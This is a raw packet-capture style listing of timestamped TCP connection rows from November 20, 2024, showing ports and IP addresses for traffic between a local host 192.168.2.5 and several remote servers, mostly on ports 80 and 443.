Nov 20, 2024 08:09:25.031060934 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.031076908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.031109095 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.031194925 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.031827927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031838894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031848907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031860113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031868935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031877995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.031879902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031892061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031903982 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031913042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.031934977 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.031954050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.032593966 CET	49860	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.032603025 CET	443	49860	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.032655001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032668114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032677889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032689095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032700062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032706976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.032711983 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032722950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032733917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032742023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.032743931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.032762051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.032778978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.033510923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033523083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033534050 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033544064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033554077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033565044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033565044 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.033576012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033586979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.033602953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.033627987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034368992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034380913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034392118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034401894 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034410000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034415007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034434080 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034445047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034456968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034463882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034468889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034478903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034482002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.034513950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.034538031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.035259962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035275936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035285950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035296917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035307884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035330057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035340071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.035343885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.035376072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036134958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036147118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036156893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036168098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036178112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036181927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036195040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036201000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036210060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036221981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036231995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036238909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036238909 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036245108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036268950 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036309004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.036959887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036971092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036983013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.036993027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037003994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037012100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.037014961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037025928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037033081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037038088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037041903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.037070990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.037862062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037874937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037884951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037894964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037904978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037915945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037926912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.037929058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037941933 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.037954092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.037975073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.038724899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038737059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038748026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038758993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038769007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038779974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038779974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.038790941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038804054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.038813114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.038830996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.038856983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.039330959 CET	443	49861	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.039700031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039711952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039721966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039731979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039742947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039742947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.039757013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039767981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039777994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039788008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039797068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.039798975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.039825916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.039843082 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040456057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040467978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040478945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040502071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040529966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040707111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040719032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040729046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040740013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040750027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040755987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040771961 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040797949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040798903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040812016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.040832996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.040952921 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.059124947 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.059144020 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.059197903 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.059215069 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.059947014 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.060045958 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.069493055 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.069557905 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:25.069649935 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:25.075015068 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.075033903 CET	443	49844	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.075066090 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.075251102 CET	49844	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.075715065 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.075747013 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.075858116 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.077126026 CET	49872	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.077140093 CET	443	49872	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.088773012 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:25.088865995 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:25.088926077 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:25.090883017 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:25.090914965 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:25.090934992 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:25.090993881 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:25.091027975 CET	443	49865	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:25.091046095 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:25.091073990 CET	49865	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:25.093082905 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.093169928 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.093199968 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.093503952 CET	443	49859	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:25.093570948 CET	49859	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:25.112227917 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:25.112255096 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:25.115365028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115418911 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115417957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115432024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115463018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115478039 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115549088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115561008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115573883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115592003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115597963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115637064 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115766048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115806103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115818024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115850925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.115936995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115947008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115957975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115963936 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.115987062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116012096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116199017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116211891 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116221905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116234064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116240978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116246939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116259098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116271019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116283894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116317987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116595030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116606951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116617918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116628885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116641998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116669893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116825104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116837025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116848946 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116859913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.116874933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.116908073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117084980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117095947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117129087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117160082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117172003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117182016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117192984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117196083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117203951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117216110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117233992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117238998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117271900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117290974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117819071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117830992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117841005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117851973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117862940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117862940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117873907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117887020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117888927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117898941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117909908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117922068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117925882 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117933989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117944956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.117945910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117969990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.117991924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.118540049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118551970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118563890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118575096 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118585110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.118586063 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118592978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118599892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118603945 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118607998 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.118609905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118617058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118623018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118635893 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.118664980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.118681908 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.119369984 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119381905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119393110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119405031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119415045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119425058 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119431019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119441032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119441032 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.119456053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119467974 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119478941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119488955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119499922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119507074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.119510889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.119529963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.119553089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.120310068 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120322943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120327950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120333910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120340109 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120345116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120349884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120361090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120372057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120383978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120393038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120404005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120404959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.120415926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120429039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120440006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.120466948 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.120487928 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121277094 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121289968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121299028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121309996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121319056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121320009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121331930 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121342897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121354103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121354103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121366024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121376038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121387005 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121388912 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121398926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121407986 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121408939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121419907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121431112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121438980 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121443033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.121450901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121469975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.121493101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:25.122291088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.122309923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.122319937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:25.122330904 CET	80	49765	185.215.113.206	192.168.2.5
